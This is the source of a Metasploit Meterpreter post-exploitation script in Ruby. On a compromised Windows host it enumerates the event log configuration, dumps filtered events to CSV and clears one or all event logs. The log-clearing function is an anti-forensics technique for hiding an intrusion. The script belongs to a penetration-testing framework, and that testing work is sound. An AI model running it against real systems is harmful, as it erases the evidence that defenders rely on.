metasploit-framework/scripts/meterpreter/event_manager.rb

# Author: Carlos Perez at carlos_perez[at]darkoperator.com
#-------------------------------------------------------------------------------
################## Variable Declarations ##################
@client = client
eventlog_name = nil
print_logs = false
list_logs = false
clear_logs = false
local_log = false
local_log_path = nil
supress_print = false
filter = '\d*'
filter_string = "*"
meter_type = client.platform
opts = Rex::Parser::Arguments.new(
  "-h" => [ false, "Help menu" ],
  "-i" => [ false, "Show information about Event Logs on the System and their configuration"],
  "-l" => [ true,  "List a given Event Log."],
  "-c" => [ true,  "Clear a given Event Log (or ALL if no argument specified)"],
  "-f" => [ true,  "Event ID to filter events on"],
  "-s" => [ true,  "Save logs to local CSV file, optionally specify alternate folder in which to save logs"],
  "-p" => [ false, "Supress printing filtered logs to screen"]
)


################## Function Declarations ##################

# Usage Message Function
#-------------------------------------------------------------------------------
def usage(opts)
  print_line "Meterpreter Script for Windows Event Log Query and Clear."
  print_line(opts.usage)
  raise Rex::Script::Completed
end

# Wrong Meterpreter Version Message Function
#-------------------------------------------------------------------------------
def wrong_meter_version(meter = meter_type)
  print_error("#{meter} version of Meterpreter is not supported with this script!")
  raise Rex::Script::Completed
end

# Function for Enumerating EventLogs
#-------------------------------------------------------------------------------
def get_log_details
  logs_detail = Array.new

  eventlog_list.each do |log_name|

    # Create a hash to store the log info in (and throw default info in)
    log_detail = Hash.new
    log_detail[:name] = log_name
    log_detail[:retention] = "Disabled"
    log_detail[:size] = 0
    log_detail[:number_of_records] = 0

    key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\"
    if @client.sys.config.sysinfo['OS'] =~ /Windows 2003|.Net|XP|2000/
      key = "#{key}Eventlog"
    else
      key = "#{key}eventlog"
    end

    begin
      unless (registry_getvaldata("#{key}\\#{log_name}","Retention") == 0) then log_detail[:retention] = "Disabled" end
      log_detail[:size] = registry_getvaldata("#{key}\\#{log_name}","MaxSize")

      # Open the event log
      eventlog = @client.sys.eventlog.open(log_name)
      log_detail[:num_of_records] = eventlog.length
    rescue
      log_detail[:num_of_records] = "Access Denied"
    end


    logs_detail << log_detail
  end

  return logs_detail
end


# Function for Printing Event Log Details
#-------------------------------------------------------------------------------
def print_log_details
  print_status("Retriving Event Log Configuration")
  tbl = Rex::Ui::Text::Table.new(
    'Header'  => "Event Logs on System",
    'Indent'  => 1,
    'Columns' => [
      "Name",
      "Retention",
      "Maximum Size",
      "Records"
    ])

  eventlog_details = get_log_details

  eventlog_details.each do |log_detail|
    tbl << [log_detail[:name],log_detail[:retention],"#{log_detail[:size]}K",log_detail[:num_of_records]]
  end

  print_line("\n" + tbl.to_s + "\n")
end


# Function for doings queries of EventLogs
#-------------------------------------------------------------------------------
def list_logs(eventlog_name,filter,filter_string,logs,local_log,sup_print)
  begin
    event_data = ""
    csv_data = "EventID,Date,Data\n"
    log = @client.sys.eventlog.open(eventlog_name)
    log.each_backwards do |e|
      if e.eventid.to_s =~ /#{filter}/
        if not sup_print
          print_status("EventID: #{e.eventid}")
          print_status("Date: #{e.generated}")
          print_status("Data:")
          e.strings.each do |l|
            l.split("\r\n").each do |ml|
              print_status("\t#{ml.chomp}")
              event_data << " #{ml.chomp}"
            end
          end
          print_status
        end
      csv_data << "#{e.eventid},#{e.generated},\"#{event_data}\"\n"
      event_data = ""
      end
    end
  rescue
    print_error("Failed to Open Event Log #{eventlog_name}")
    raise Rex::Script::Completed
  end

  if local_log
    log_file = File.join(logs, "#{eventlog_name}.csv")
    print_good("CSV File saved to #{log_file}")
    file_local_write(log_file,csv_data)
  end
end

# Function for clearing EventLogs
#-------------------------------------------------------------------------------
def clear_logs(log_name=nil)
  log_names = []
  if log_name.nil?
    log_names = eventlog_list
  else
    log_names << log_name
  end

  log_names.each do |name|
    begin
      print_status("Clearing #{name}")
      event_log = @client.sys.eventlog.open(name)
      event_log.clear
      print_status("Event Log #{name} Cleared!")
    rescue
      print_error("Failed to Clear #{name}, Access Denied")
    end
  end

  return log_names
end

################## Main ##################
opts.parse(args) { |opt, idx, val|
  case opt
    when "-h"
      usage(opts)
    when "-i"
      print_logs = true
      print_log_details
      raise Rex::Script::Completed
    when "-c"
      clear_logs = true
      eventlog_name = val
    when "-l"
      list_logs = true
      eventlog_name = val
    when "-f"
      filter = val
    when "-s"
      local_log = true
      if File.directory?(val)
        local_log_path = val
      else
        print_error("Log folder #{val} does not exist!")
        raise Rex::Script::Completed
      end
    when "-p"
      supress_print = true
  end
}

# Check for Version of Meterpreter
wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i

# Print usage & exit if the user didn't specify an action
#  to default to just running for all logs)
if !list_logs and !clear_logs and !print_logs
  usage(opts)
end

# Log Folder Creation
#-----------------------------------------------------------------------
#Get Hostname
host = @client.sys.config.sysinfo["Computer"]

# Create Filename info to be appended to downloaded files
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")

# Create a directory for any local logging if the user desires
if local_log
  if local_log_path
    logs = ::File.join(local_log_path, Rex::FileUtils.clean_path(host + filenameinfo) )
  else
    logs = ::File.join(Msf::Config.log_directory, "scripts", 'event_manager', Rex::FileUtils.clean_path(host + filenameinfo) )
  end

  ::FileUtils.mkdir_p(logs)
end

# List the logs if the user desires
if list_logs and eventlog_name
  list_logs(eventlog_name,filter,filter_string,logs,local_log,supress_print)
else
  print_error("You must specify and eventlog to query!")
end


# Finally, clear the specified logs if the user desires
if clear_logs
  if eventlog_name
    clear_logs(eventlog_name)
  else
    eventlog_list.each do |eventlog_name|
      print_status eventlog_name + ": "
      clear_logs(eventlog_name)
    end
  end
end